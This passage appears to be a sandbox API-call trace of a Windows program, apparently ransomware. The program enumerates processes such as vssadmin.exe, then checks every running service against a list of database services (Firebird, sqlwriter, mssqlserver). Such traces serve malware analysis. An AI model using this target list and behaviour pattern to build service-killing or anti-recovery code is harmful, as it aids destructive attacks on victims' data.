th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0282.238] lstrlenW (lpString="vssadmin.exe") returned 12 [0282.238] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0282.238] CloseHandle (hObject=0x4a4) returned 1 [0282.238] Sleep (dwMilliseconds=0x1f4) [0282.743] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7dddb8 [0282.743] EnumServicesStatusExW (in: hSCManager=0x7dddb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0282.744] GetLastError () returned 0xea [0282.744] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1ca4) returned 0x7d6980 [0282.744] EnumServicesStatusExW (in: hSCManager=0x7dddb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7d6980, cbBufSize=0x1ca4, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7d6980, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0282.744] CloseServiceHandle (hSCObject=0x7dddb8) returned 1 [0282.744] lstrlenW (lpString="AppXSvc") returned 7 [0282.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0282.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0282.745] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0282.745] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0282.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0282.745] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0282.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0282.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0282.745] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0282.745] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0282.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0282.745] lstrlenW (lpString="Audiosrv") returned 8 [0282.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0282.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0282.745] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0282.745] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0282.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0282.745] lstrlenW (lpString="BFE") returned 3 [0282.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0282.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0282.745] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0282.745] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0282.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0282.745] lstrlenW (lpString="BITS") returned 4 [0282.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0282.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0282.745] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0282.745] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0282.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0282.745] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0282.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0282.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0282.745] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0282.746] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0282.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0282.746] lstrlenW (lpString="CDPSvc") returned 6 [0282.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0282.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0282.746] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0282.746] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0282.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0282.746] lstrlenW (lpString="ClickToRunSvc") returned 13 [0282.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0282.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0282.746] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0282.746] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0282.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0282.746] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0282.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0282.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0282.746] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0282.746] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0282.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0282.746] lstrlenW (lpString="CryptSvc") returned 8 [0282.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0282.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0282.746] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0282.746] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0282.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0282.746] lstrlenW (lpString="DcomLaunch") returned 10 [0282.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0282.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0282.746] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0282.746] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0282.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0282.746] lstrlenW (lpString="DeviceAssociationService") returned 24 [0282.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0282.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0282.747] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0282.747] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0282.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0282.747] lstrlenW (lpString="Dhcp") returned 4 [0282.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0282.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0282.747] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0282.747] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0282.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0282.747] lstrlenW (lpString="Dnscache") returned 8 [0282.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0282.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0282.747] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0282.747] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0282.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0282.747] lstrlenW (lpString="DPS") returned 3 [0282.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0282.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0282.747] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0282.747] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0282.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0282.747] lstrlenW (lpString="DusmSvc") returned 7 [0282.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0282.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0282.747] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0282.747] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0282.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0282.747] lstrlenW (lpString="EventLog") returned 8 [0282.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0282.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0282.747] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0282.748] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0282.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0282.748] lstrlenW (lpString="EventSystem") returned 11 [0282.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0282.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0282.748] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0282.748] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0282.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0282.748] lstrlenW (lpString="FontCache") returned 9 [0282.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0282.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0282.748] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0282.748] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0282.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0282.748] lstrlenW (lpString="gpsvc") returned 5 [0282.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0282.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0282.748] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0282.748] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0282.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0282.748] lstrlenW (lpString="iphlpsvc") returned 8 [0282.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0282.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0282.748] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0282.748] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0282.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0282.748] lstrlenW (lpString="KeyIso") returned 6 [0282.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0282.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0282.748] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0282.748] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0282.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0282.749] lstrlenW (lpString="LanmanServer") returned 12 [0282.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0282.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0282.749] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0282.749] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0282.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0282.749] lstrlenW (lpString="LanmanWorkstation") returned 17 [0282.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0282.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0282.749] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0282.749] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0282.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0282.749] lstrlenW (lpString="lfsvc") returned 5 [0282.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0282.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0282.749] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0282.749] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0282.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0282.749] lstrlenW (lpString="lmhosts") returned 7 [0282.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0282.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0282.749] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0282.749] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0282.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0282.749] lstrlenW (lpString="LSM") returned 3 [0282.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0282.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0282.749] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0282.749] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0282.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0282.749] lstrlenW (lpString="MpsSvc") returned 6 [0282.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0282.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0282.750] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0282.750] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0282.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0282.750] lstrlenW (lpString="NcbService") returned 10 [0282.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0282.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0282.750] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0282.750] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0282.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0282.750] lstrlenW (lpString="netprofm") returned 8 [0282.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0282.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0282.750] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0282.750] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0282.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0282.750] lstrlenW (lpString="NgcSvc") returned 6 [0282.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0282.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0282.750] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0282.750] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0282.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0282.750] lstrlenW (lpString="NlaSvc") returned 6 [0282.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0282.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0282.750] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0282.750] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0282.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0282.750] lstrlenW (lpString="nsi") returned 3 [0282.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0282.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0282.750] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0282.750] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0282.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0282.751] lstrlenW (lpString="PcaSvc") returned 6 [0282.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0282.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0282.751] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0282.751] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0282.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0282.751] lstrlenW (lpString="PlugPlay") returned 8 [0282.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0282.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0282.751] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0282.751] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0282.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0282.751] lstrlenW (lpString="Power") returned 5 [0282.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0282.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0282.751] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0282.751] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0282.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0282.751] lstrlenW (lpString="ProfSvc") returned 7 [0282.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0282.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0282.751] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0282.751] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0282.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0282.751] lstrlenW (lpString="RpcEptMapper") returned 12 [0282.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0282.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0282.751] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0282.751] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0282.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0282.751] lstrlenW (lpString="RpcSs") returned 5 [0282.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0282.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0282.752] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0282.752] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0282.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0282.752] lstrlenW (lpString="SamSs") returned 5 [0282.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0282.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0282.752] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0282.752] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0282.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0282.752] lstrlenW (lpString="Schedule") returned 8 [0282.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0282.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0282.752] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0282.752] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0282.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0282.752] lstrlenW (lpString="SecurityHealthService") returned 21 [0282.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0282.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0282.752] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0282.752] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0282.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0282.752] lstrlenW (lpString="SENS") returned 4 [0282.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0282.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0282.752] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0282.752] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0282.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0282.752] lstrlenW (lpString="ShellHWDetection") returned 16 [0282.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0282.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0282.752] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0282.752] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0282.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0282.753] lstrlenW (lpString="Spooler") returned 7 [0282.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0282.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0282.753] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0282.753] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0282.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0282.753] lstrlenW (lpString="SSDPSRV") returned 7 [0282.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0282.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0282.753] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0282.753] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0282.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0282.753] lstrlenW (lpString="StateRepository") returned 15 [0282.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0282.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0282.753] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0282.753] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0282.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0282.753] lstrlenW (lpString="SysMain") returned 7 [0282.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0282.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0282.753] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0282.753] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0282.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0282.753] lstrlenW (lpString="SystemEventsBroker") returned 18 [0282.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0282.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0282.753] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0282.753] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0282.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0282.753] lstrlenW (lpString="Themes") returned 6 [0282.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0282.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0282.754] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0282.754] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0282.754] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7d6980 | out: hHeap=0x6e0000) returned 1 [0282.754] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3dc [0282.756] Process32FirstW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0282.757] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0282.757] lstrlenW (lpString="System") returned 6 [0282.758] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, 